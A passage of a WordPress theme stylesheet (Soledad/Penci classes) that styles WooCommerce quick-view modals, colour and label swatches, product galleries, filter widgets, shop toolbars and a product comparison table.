	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.woocommerce .penci-content-quickview div.product div.images,
.woocommerce .penci-content-quickview div.product div.summary {
	float: none;
	flex: 0 0 auto;
	width: 50%;
	padding-right: 15px;
	padding-left: 15px;
}
.woocommerce .penci-content-quickview div.product div.images,
.woocommerce .penci-content-quickview div.product div.summary,
.woocommerce .penci-content-quickview div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	margin-bottom: 0;
}
.woocommerce .penci-content-quickview div.product div.summary {
	overflow: hidden;
	overflow-y: auto;
	max-height: 600px;
}
.woocommerce .penci-content-quickview div.product.no-product-gallery div.summary {
	max-height: 445px;
}
.quick-view-wrapper.mfp-ready .penci-content-quickview {
	-webkit-transform: translateY(0);
	transform: translateY(0);
	opacity: 1;
}
.quick-view-wrapper.mfp-removing .penci-content-quickview {
	-webkit-transform: translateY(-100px);
	transform: translateY(-100px);
	opacity: 0;
}
.quick-view-wrapper .penci-content-quickview .product {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
}
.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper {
	width: 50%;
	flex: 0 0 auto;
	padding: 0 15px;
	position: relative;
}
.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper .summary.entry-summary {
	width: 100%;
	max-height: unset;
	padding: 0 15px;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: hidden;
	overflow-y: auto;
}
.hidden {
	display: none !important;
	visibility: hidden !important;
}
@media only screen and (max-width: 767px) {
	.mfp-container {
		padding-left: 0;
		padding-right: 0;
	}
	.penci-content-quickview {
		margin: 10px;
	}
	.penci-content-quickview .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
		display: none;
	}
	.splide__arrows button {
		opacity: 1;
	}
	.splide__arrows button svg {
		max-width: 20px;
	}
	.woocommerce .penci-content-quickview div.product {
		flex-direction: column;
	}
	.woocommerce .penci-content-quickview div.product div.images,
	.woocommerce .penci-content-quickview div.product div.summary,
	.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper {
		width: 100%;
	}
	.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper .summary.entry-summary {
		position: relative;
		margin-top: 15px;
	}
}
/* Swatches */
.penci-swatches .swatch {
	line-height: 26px;
	position: relative;
	display: inline-block;
	width: 26px;
	height: 26px;
	margin-right: 8px;
	cursor: pointer;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	text-align: center;
	white-space: nowrap;
	-moz-border-radius: 50%;
	-webkit-border-radius: 50%;
	border-radius: 50%;
	vertical-align: top;
}
.penci-swatches .swatch:last-child {
	margin-right: 0;
}
.penci-swatches .swatch.disabled {
	cursor: default;
	opacity: 0.1 !important;
}
.penci-swatches .swatch.disabled .swatch__tooltip {
	display: none;
}
.penci-swatches .swatch-color {
	text-indent: -9999em;
	transition: 0.3s all ease-in-out;
	box-shadow: 0 0 0 0 transparent;
}
.penci-swatches .swatch-color.selected {
	opacity: 1;
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 5px var(--pcbg-cl);
}
.penci-swatches .swatch-label {
	font-size: 14px;
	width: auto;
	height: auto;
	padding: 1px 10px;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_btns_bdr_cl);
	background-color: var(--pcbg-cl);
	border-radius: 2px;
	transition: all 0.3s ease-in-out;
}
.penci-swatches .swatch-label:hover,
.penci-swatches .swatch-label.selected {
	color: #fff;
	background-color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-swatches .swatch-image {
	font-size: 0;
	border-radius: 0;
	box-shadow: 0 0 0 0 transparent;
}
.penci-swatches .swatch-image.selected {
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 5px var(--pcbg-cl);
}
.penci-swatches .swatch-image .swatch__tooltip {
	font-size: 14px;
}
.penci-swatches .swatch__tooltip {
	font-size: 14px;
	line-height: 1.3;
	font-weight: 500;
	position: absolute;
	z-index: 2;
	top: 0;
	left: 50%;
	visibility: hidden;
	margin: -10px 0 0 0;
	padding: 6px 10px;
	user-select: none;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	-moz-transform: translate(-50%, -100%);
	-webkit-transform: translate(-50%, -100%);
	transform: translate(-50%, -100%);
	text-indent: initial;
	opacity: 0;
	color: #fff;
	background: #333;
}
.penci-swatches .swatch__tooltip:after {
	position: absolute;
	bottom: -3px;
	left: 50%;
	width: 6px;
	height: 6px;
	margin-left: -3px;
	content: "";
	-moz-transform: rotate(45deg);
	-webkit-transform: rotate(45deg);
	transform: rotate(45deg);
	background: #333;
}
.penci-swatches .swatch:hover .swatch__tooltip {
	visibility: visible;
	user-select: auto;
	opacity: 1;
}
.woocommerce div.product form.cart .variations td.label {
	margin: 0;
	padding: 0 15px 15px 0;
}
.woocommerce div.product form.cart .variations td.value {
	position: relative;
	width: 100%;
}
.woocommerce div.product .product_meta span.product_meta_title,
.woocommerce div.product .product_meta > span {
	font-weight: bold;
	color: var(--pcheading-cl);
	margin-bottom: 15px;
}
.woocommerce div.product .product_meta span.product_meta_title {
	display: inline-block;
	margin-bottom: 0;
}
.woocommerce div.product .product_meta > span > * {
	font-weight: normal;
	color: var(--pcmeta-cl);
}
.woocommerce div.product p.stock.out-of-stock {
	color: var(--pclabel_outstock);
}
/* Product Quantity */
div.quantity {
	font-size: 0;
	display: inline-flex;
	vertical-align: top;
	white-space: nowrap;
}
div.quantity input[type=number]::-webkit-inner-spin-button,
div.quantity input[type=number]::-webkit-outer-spin-button,
div.quantity input[type="number"] {
	margin: 0;
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;
}
div.quantity input[type="number"],
div.quantity input[type="button"] {
	display: inline-block;
	color: var(--pctext-cl);
	background-color: var(--pcbg-cl);
}
.woocommerce .quantity .qty,
div.quantity input[type="number"] {
	display: flex;
	align-self: center;
	width: 30px;
	height: 40px;
	color: var(--pctext-cl);
	border-right: none;
	border-left: none;
	border-radius: 0;
}
@-moz-document url-prefix() {
	div.quantity input[type="number"] {
		-webkit-appearance: textfield;
		-moz-appearance: textfield;
		/*appearance: textfield;*/
	}
}
div.quantity input[type="button"] {
	min-width: 25px;
	height: 40px;
	padding: 0 5px;
	border: 1px solid var(--pcborder-cl);
	background: var(--pcbg-cl);
	box-shadow: none;
}
div.quantity input[type="button"]:hover {
	color: var(--pctext-cl);
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
}
div.quantity .minus {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
div.quantity .plus {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
div.quantity.hidden {
	display: none !important;
}
.variations select,
.woocommerce-ordering select,
.penci-widget-layered-nav-dropdown-form select {
	font-size: 14px;
	font-weight: bold;
	line-height: 18px;
	max-width: 140px;
	height: auto;
	padding-right: 20px;
	padding-bottom: 5px;
	padding-left: 2px;
	cursor: pointer;
	color: #2d2a2a;
	border: 0;
	border-bottom: 2px solid var(--pcborder-cl);
	border-radius: 0;
	background-position: right 0 top 50%;
}
.woocommerce .widget .woocommerce-ordering,
.woocommerce-page .widget .woocommerce-ordering,
.penci-widget-layered-nav-dropdown-form select,
.widget .woocommerce-ordering select {
	float: none;
	width: 100%;
	max-width: unset;
}
.woocommerce-ordering select:focus {
	border-color: var(--pcaccent-cl)
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image {
	overflow: hidden;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	margin-bottom: 0;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	top: 10px;
	right: 10px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before,
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:after {
	top: 12px;
	right: 0;
	bottom: 0;
	left: 0;
	width: unset;
	height: unset;
	text-align: center;
	border: 0;
	background-color: transparent;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before {
	font-family: penciicon, serif;
	font-size: 12px;
	content: '\f112';
	text-indent: 0;
	color: var(--pcheading-cl);
}
.woocommerce .penci-product-gallery-slider {
	margin-bottom: 10px;
}
.woocommerce .penci-product-gallery-slider.splide {
	margin-bottom: 0;
}
.woocommerce-product-gallery.thumbnail-right,
.woocommerce-product-gallery.thumbnail-left {
	position: relative;
	overflow: hidden;
}
.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider {
	margin-left: 110px;
}
.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider {
	margin-right: 110px;
}
.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider figure,
.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider figure {
	max-width: 100%;
}
.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
	position: absolute;
	top: 0;
	left: 0;
	width: 100px;
	height: 100%;
}
@media only screen and (min-width: 767px) {
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider .splide__track,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider .splide__track {
		max-height: calc(100% - 35px);
		overflow: hidden;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
		height: 100%
	}
	.woocommerce-product-gallery.thumbnail-right.no-js .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left.no-js .penci-thumbnail-slider {
		margin-top: 0;
	}
}
.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider .splide__arrows,
.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider .splide__arrows {
	display: none;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
	margin: 10px 0 0 0;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
	position: relative;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__track figure img {
	width: auto;
	display: block;
	margin: 0 auto;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__arrows button {
	width: 30px;
	height: 30px;
	margin-top: -15px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .splide__arrows button svg {
	width: 15px;
	height: 15px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav {
	position: static;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
	position: absolute;
	z-index: 9;
	top: 50%;
	bottom: 50%;
	width: 40px;
	height: 40px;
	margin-top: -20px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next {
	right: 0;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button,
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	background-color: transparent;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	color: var(--pcaccent-cl);
}
.woocommerce-product-gallery.thumbnail-bottom .penci-product-slider-next i,
.woocommerce-product-gallery.thumbnail-bottom .penci-product-slider-prev i {
	transform: rotate(270deg);
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav {
	position: absolute;
	z-index: 9;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
}
@media only screen and (max-width: 767px) {
	.penci-thumbnail-slider.splide--ttb > .splide__track > .splide__list {
		display: flex;
	}
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
	flex: 0 0 auto;
	width: 48%;
	margin: 0;
	padding: 7px 5px;
	border: 0;
	background-color: var(--pcborder-cl);
}
.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
	background-color: #f1f1f1;
}
.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider {
	right: 0;
	left: auto;
}
.woocommerce-product-gallery .penci-thumbnail-slider figure {
	overflow: hidden;
	cursor: pointer;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	opacity: 0.5;
}
.woocommerce-product-gallery .penci-thumbnail-slider figure.swiper-slide-visible,
.woocommerce-product-gallery .penci-thumbnail-slider figure.swiper-slide-thumb-active {
	opacity: 1;
}
.woocommerce div.product div.images.thumbnail-right .woocommerce-product-gallery__trigger {
	top: auto;
	right: auto;
	bottom: 1em;
	left: 1em;
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger,
	.woocommerce div.product div.images.thumbnail-left .woocommerce-product-gallery__trigger,
	.woocommerce div.product div.images.thumbnail-right .woocommerce-product-gallery__trigger {
		top: 3px;
		right: auto;
		bottom: auto;
		left: 5px;
		width: 46px;
		height: 46px;
	}
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger::before {
		font-size: 16px;
		top: 14px;
	}
}
.variations_form .woocommerce-variation-add-to-cart {
	overflow: hidden;
	margin-top: 30px;
}
.theiaStickySidebar {
	position: relative;
}
.penci-top-relate-post {
	position: absolute;
	z-index: 99;
	top: 0;
	right: 0;
}
.penci-top-relate-post ul {
	position: relative;
	display: flex;
}
.penci-top-relate-post ul li {
	align-self: center;
	margin-right: 5px;
	cursor: pointer;
}
.penci-top-relate-post ul li:last-child {
	margin-right: 0;
}
.penci-top-relate-post ul li.top-ralate-item,
.penci-top-relate-post ul li.item-shop-link {
}
.penci-top-relate-post ul li.top-ralate-item > a,
.penci-top-relate-post ul li.item-shop-link > a {
	width: 25px;
	height: 25px;
	text-align: center;
	border: 1px solid var(--pcpage_gbdr_cl);
	display: block;
}
.penci-top-relate-post ul li.top-ralate-item > a i,
.penci-top-relate-post ul li.item-shop-link > a i {
	line-height: inherit;
}
.penci-top-relate-post ul li.top-ralate-item > a:hover,
.penci-top-relate-post ul li.item-shop-link > a:hover {
	border-color: var(--pcheading-cl);
}
.penci-top-relate-post ul li.top-ralate-item > a {
	font-size: 12px;
	line-height: 22px;
	color: var(--pcheading-cl);
}
.penci-top-relate-post ul li.item-shop-link svg {
	display: inline-block;
	margin: 5px 0 0;
}
.penci-top-relate-post .inner-content {
	position: absolute;
	top: 30px;
	right: 0;
	display: flex;
	visibility: hidden;
	overflow: hidden;
	align-items: center;
	flex-direction: row;
	min-width: 250px;
	transition: all 0.3s;
	opacity: 0;
	border: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
	-webkit-box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
	box-shadow: 0 -1px 2px rgba(190, 190, 190, 0.15);
}
.penci-top-relate-post .top-ralate-item .inner-content {
	-webkit-transform: translateY(15px);
	transform: translateY(15px);
}
.penci-top-relate-post .top-ralate-item:hover > .inner-content {
	visibility: visible;
	-webkit-transform: translateY(0);
	transform: translateY(0);
	opacity: 1;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__image {
	width: 90px;
	flex-grow: 0;
	flex-shrink: 0;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__image img {
	width: 100%;
	height: auto;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary {
	align-self: center;
	margin: 0 !important;
	text-align: left;
	padding: 10px 15px;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary a {
	color: inherit;
	transition: all 0.3s;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary a:hover {
	opacity: 0.7;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary .price {
	font-size: 14px;
	display: inline-block;
	margin-top: 5px;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary .price ins{
	font-size: inherit;
}
.widget.soledad-product-filter .penci-scroll {
	max-height: var(--pc-w-mh);
	position: relative;
	overflow-x: hidden;
}
.widget.soledad-product-filter.penci-scroll-active .penci-scroll {
	height: var(--pc-w-mh);
}
@media only screen and (max-width: 767px) {
	.widget.soledad-product-filter .penci-scroll {
		max-height: var(--pc-w-mhm);
	}
	.widget.soledad-product-filter.penci-scroll-active .penci-scroll {
		height: var(--pc-w-mhm);
	}
}
.widget.soledad-product-filter .penci-scroll .penci-scroll-content {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	height: 100%;
}
.widget.soledad-product-filter.penci-scroll-inactive .penci-scroll .penci-scroll-content {
	position: static;
	height: auto;
}
.soledad-product-filter li {
	position: relative;
}
.soledad-product-filter .swatches-display-double {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
}
.soledad-product-filter .swatches-display-double li {
	flex: 0 0 auto;
	width: 45%;
}
.soledad-product-filter .swatches-display-inline {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.soledad-product-filter .swatches-display-inline li {
	margin-right: 10px;
	border: 0;
}
.soledad-product-filter .swatches-display-inline li a {
	display: inline-block;
}
.soledad-product-filter .swatches-display-inline li:last-child {
	margin-bottom: 11px;
	padding-bottom: 12px;
}
.soledad-product-filter .swatches-display-inline .with-swatch-text .layer-term-name {
	min-width: 0;
	padding-right: 4px;
	padding-left: 4px;
}
.soledad-product-filter .swatches-display-inline .count {
	position: static;
}
.soledad-product-filter .swatches-display-inline.swatches-brands li {
	margin-right: 20px;
}
.soledad-product-filter .swatches-display-inline.show-labels-off .with-swatch-text .layer-term-name {
	min-width: 25px;
}
.soledad-product-filter .layered-nav-link {
	display: block;
}
.soledad-product-filter .with-swatch-image {
	position: relative;
	display: flex;
	align-items: center;
	justify-content: space-between;
	margin: 0;
	padding: 0;
	border: 0;
}
.soledad-product-filter .swatches-display-double .with-swatch-image:last-child,
.soledad-product-filter .with-swatch-image:not(:last-child) {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 10px;
	margin-bottom: 10px;
}
.soledad-product-filter .swatches-display-double.swatches-large .with-swatch-image,
.soledad-product-filter .swatches-display-double.swatches-large .with-swatch-image:last-child {
	border-bottom: none;
	padding-bottom: 0;
}
.soledad-product-filter .with-swatch-image .layered-nav-link {
	display: inline-block;
	max-width: 220px;
}
.soledad-product-filter .with-swatch-image .filter-swatch,
.soledad-product-filter .with-swatch-image .swatch-inner {
	display: flex;
	align-items: center;
}
.soledad-product-filter .swatches-display-double .filter-swatch,
.soledad-product-filter .with-swatch-image .swatch-inner {
	flex-direction: row;
}
.soledad-product-filter .with-swatch-image .layered-nav-link:hover,
.soledad-product-filter .with-swatch-image .layered-nav-link {
	background-color: transparent;
}
.soledad-product-filter .with-swatch-image .filter-swatch > span {
	font-size: 0;
	display: block;
	width: 100%;
	height: 60px;
	padding: 0;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image,
.soledad-product-filter .swatches-display-inline li.with-swatch-image:last-child {
	border: 1px solid var(--pcborder-cl);
	padding: 5px;
	margin-bottom: 10px;
}
.soledad-product-filter .show-labels-off .with-swatch-image .layer-term-name,
.soledad-product-filter .show-labels-off .with-swatch-image .count {
	display: flex;
}
.soledad-product-filter .show-count-off .with-swatch-image .count,
.soledad-product-filter .show-labels-off .with-swatch-image .layer-term-name .term_name {
	display: none;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image .layer-term-name img {
	max-height: 25px;
}
.soledad-product-filter .swatches-display-inline .with-swatch-image .count {
	margin-left: 5px;
}
.soledad-product-filter .with-swatch-image .filter-swatch,
.soledad-product-filter .with-swatch-image .layer-term-name {
	display: flex;
	min-width: 110px;
	align-items: center;
}
.soledad-product-filter .with-swatch-image.chosen .layer-term-name {
	font-weight: var(--pchead-wei);
}
.soledad-product-filter .with-swatch-image .layer-term-name img {
	width: auto;
	max-height: 50px;
	display: inline-block;
	margin-right: 5px;
}
.soledad-product-filter .swatches-large .with-swatch-image .layer-term-name img {
	max-height: 90px;
	max-width: 100%;
}
.soledad-product-filter .swatches-small .with-swatch-image .layer-term-name img {
	max-height: 25px;
}
.soledad-product-filter .swatches-display-inline.swatches-small .with-swatch-image .layer-term-name img {
	max-height: 18px;
}
.soledad-product-filter .swatches-display-inline.swatches-large .with-swatch-image .layer-term-name img {
	max-height: 40px;
}
.soledad-product-filter .swatches-large.swatches-display-double .with-swatch-image,
.soledad-product-filter .swatches-large.swatches-display-double .with-swatch-image .layer-term-name {
	flex-direction: column;
}
.soledad-product-filter .show-count-off .count,
.soledad-product-filter .show-labels-off .layer-term-name {
	display: none;
}
.soledad-product-filter a:hover {
	text-decoration: none;
}
.soledad-product-filter .swatches-display-double li,
.soledad-product-filter .swatches-display-list li {
	overflow: hidden;
}
.soledad-product-filter .swatches-display-list li .count,
.soledad-product-filter .swatches-display-double li .count {
	float: right;
}
.soledad-product-filter .swatches-display-list li .layered-nav-link,
.soledad-product-filter .swatches-display-double li .layered-nav-link {
	float: left;
}
.penci-woo-before-main-content {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	/*justify-content: space-between;*/
	margin-bottom: 30px;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content {
	display: flex;
	overflow: hidden;
	overflow-x: visible;
	flex: 0 0 auto;
	flex-wrap: wrap;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
	display: flex;
	justify-content: space-between;
}
.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-wofilter-inner {
	display: flex;
}
@media only screen and (min-width: 768px) and (max-width: 1170px) {
	.penci-woo-before-main-content .penci-woo-before-main-inner-content,
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		width: 100%;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		justify-content: space-between;
		margin-top: 15px;
		padding-top: 15px;
		border-top: 1px solid var(--pcborder-cl);
	}
	.header-header-ecommerce .main-nav-social .inner-header-social {
		overflow: hidden;
		overflow-x: visible;
		white-space: nowrap;
	}
	.header-header-ecommerce .main-nav-social a {
		float: none;
	}
}
@media only screen and (min-width: 960px) and (max-width: 1170px) {
	.header-header-ecommerce .main-nav-social .inner-header-social {
		overflow: hidden;
		overflow-x: visible;
		white-space: nowrap;
	}
	.header-header-ecommerce .main-nav-social a {
		float: none;
	}
}
.penci-woo-before-main-content .penci-breadcrumb.penci-woo-breadcrumb {
	display: flex;
	align-items: center;
	width: auto;
	margin: 0;
}
.container.penci-breadcrumb.penci-woo-breadcrumb.top {
	position: relative;
	z-index: 9;
	margin-top: 30px;
	margin-bottom: -30px;
}
.sidebar-placement-both .container.penci-breadcrumb.penci-woo-breadcrumb.top {
	margin-bottom: 30px;
}
.content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
	margin-top: 0;
	margin-bottom: 15px;
}
@media only screen and (max-width: 767px) {
	.container.penci-breadcrumb.penci-woo-breadcrumb.top {
		margin-bottom: 0;
		padding: 0 20px;
	}
	.content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
		margin-bottom: 0;
	}
}
.summary .penci-breadcrumb.penci-woo-breadcrumb {
	position: relative;
	overflow: hidden;
	padding-right: 40px;
	white-space: pre-line;
}
@media only screen and (min-width: 768px) {
	.top-related-posts-show .summary .penci-breadcrumb.penci-woo-breadcrumb {
		padding-right: 110px;
	}
}
.summary .penci-breadcrumb.penci-woo-breadcrumb:after {
	position: absolute;
	z-index: 2;
	top: 0;
	right: 0;
	bottom: 0;
	display: none;
	width: 100%;
	height: 100%;
	content: '';
	background: rgb(255, 255, 255);
	background: linear-gradient(270deg, rgba(255, 255, 255, 1) 0%, rgba(255, 255, 255, 0.5) 50%, rgba(255, 255, 255, 0) 100%);
}
@media only screen and (max-width: 767px) {
	.summary .penci-breadcrumb.penci-woo-breadcrumb:after {
		display: none;
		overflow-x: scroll;
	}
}
.penci-woo-before-main-content .penci-products-per-page {
	display: flex;
	align-items: center;
	margin-right: 15px;
}
.penci-woo-before-main-content .penci-products-per-page span {
	font-weight: normal;
}
.penci-woo-before-main-content .penci-products-per-page a {
	margin-left: 10px;
	color: rgba(0, 0, 0, 0.5);
}
.penci-woo-before-main-content .penci-products-per-page a.current-variation {
	color: black;
}
.penci-woo-before-main-content .woocommerce-ordering {
	display: flex;
	float: none;
	margin: 0;
}
.penci-woo-before-main-content .penci-products-shop-view {
	display: flex;
	align-items: center;
	margin-right: 5px;
}
.penci-woo-before-main-content .penci-products-shop-view.products-view-grid-list {
	flex-direction: row-reverse;
}
.penci-woo-before-main-content .penci-products-shop-view svg.icon {
	width: 20px;
	height: 20px;
	opacity: 0.5;
	fill: var(--pctext-cl);
}
.penci-woo-before-main-content .penci-products-shop-view .per-row-5 svg.icon,
.penci-woo-before-main-content .penci-products-shop-view .per-row-6 svg.icon {
	width: 25px;
}
.penci-woo-before-main-content .penci-products-shop-view .current-variation svg.icon {
	opacity: 1;
}
.penci-woo-before-main-content .penci-products-shop-view .shop-view {
	display: inline-flex;
	margin: 0 5px;
}
body.post-type-archive-product .woocommerce-products-header {
	overflow: hidden;
	margin-bottom: 15px;
	padding-bottom: 15px;
}
@media only screen and (max-width: 767px) {
	body.post-type-archive-product .woocommerce-products-header {
		border-bottom: 1px solid #ececec;
	}
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-3,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-4,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-5,
	.penci-woo-before-main-content .penci-products-shop-view .shop-view.per-row-6 {
		display: none;
	}
}
body.post-type-archive-product .woocommerce-products-header .penci-woo-before-main-content {
	margin-bottom: 0;
}
.widget.soledad-price-filter .penci-price-filter li .current-state {
	font-weight: bold;
	color: var(--pcaccent-cl);
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail,
.thumbnail-bottom-1-col .penci-thumbnail-grid .woocommerce-product-thumbnail {
	margin-top: 15px;
}
.thumbnail-grid .penci-thumbnail-grid {
	display: flex;
	flex-wrap: wrap;
	margin-right: -7.5px;
	margin-left: -7.5px;
}
.thumbnail-grid .penci-thumbnail-grid .woocommerce-product-thumbnail {
	display: inline-flex;
	flex: 1 1 33.3333333333%;
	max-width: 33.3333333333%;
	margin-top: 15px;
	padding: 0 7.5px;
}
.thumbnail-grid .penci-thumbnail-grid .woocommerce-product-thumbnail:nth-child(4n) {
	flex: 1 1 100%;
	max-width: 100%;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid {
	display: flex;
	flex-wrap: wrap;
	margin-right: -7.5px;
	margin-left: -7.5px;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail {
	display: inline-flex;
	flex: 1 1 50%;
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail:nth-child(3n) {
	flex: 100%
}
.thumbnail-bottom-2-col .penci-thumbnail-grid .woocommerce-product-thumbnail .woocommerce-product-gallery__image {
	padding: 0 7.5px;
}
.penci-product-img-thumbnail-grid .penci-thumbnail-grid {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.penci-product-img-thumbnail-grid .penci-thumbnail-grid figure {
	display: inline-flex;
	flex: 1 1 50%;
}
.woocommerce div.product div.summary .penci-woo-breadcrumb {
	width: auto;
	margin: 0 0 30px;
}
.penci-products-preloader {
	display: none;
}
.pre-load-content .penci-products-preloader {
	display: block;
}
body #main ul.products {
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	opacity: 1;
}
.pre-load-content #main ul.products {
	visibility: hidden;
	opacity: 0;
}
.penci-products-compare-table .penci-compare-row {
	position: relative;
	display: flex;
}
.penci-products-compare-table .penci-compare-row:nth-child(2n) .penci-compare-col {
	background-color: rgba(0, 0, 0, 0.025);
}
.penci-products-compare-table .penci-compare-col {
	display: inline-flex;
	flex-direction: column;
	justify-content: flex-start;
	padding: 15px;
	text-align: center;
	border-right: 1px solid var(--pcpage_gbdr_cl);
}
.penci-products-compare-table .compare-basic .penci-compare-col {
	padding-top: 0;
}
.penci-products-compare-table .penci-compare-col:last-child {
	border-right: 0;
}
.penci-products-compare-table .penci-compare-col p:last-child {
	margin-bottom: 0;
}
.penci-products-compare-table .compare-field {
	font-weight: bold;
	text-transform: uppercase;
	flex: 0 0 20%;
	text-align: left;
	font-family: var(--pchead-font);
	justify-content: center;
}
.penci-products-compare-table .compare-value {
	flex: 0 1 26%;
	flex-direction: column;
}
.penci-products-compare-table.penci-multicompare {
	overflow: hidden;
	overflow-x: auto;
}
.penci-products-compare-table.penci-multicompare .compare-value {
	flex: 0 0 290px;
}
.penci-products-compare-table .compare-value .stock {
	font-weight: bold;
	font-size: 14px;
}
.penci-products-compare-table .compare-value .stock.out-of-stock {
	color: var(--pclabel_outstock);
}
.penci-products-compare-table .compare-value .stock.in-stock:before {
	font-family: 'penciicon';
	content: '\f111';
	color: var(--pcaccent-cl);
	display: inline-block;
	margin-right: 5px;
	vertical-align: middle;
}
.penci-products-compare-table .penci-product-title {
	font-size: var(--pcsl_tt_fs);
	display: block;
	margin: 10px 0;
}
.woocommerce.penci-products-compare-table .star-rating {
	float: none;
	margin: 0 auto 8px;
}
.penci-products-compare-table .compare-basic-content {
	padding-bottom: 15px;
}
.penci-products-compare-table .compare-basic-content a.button {
	margin-top: 10px;
	height: 40px;
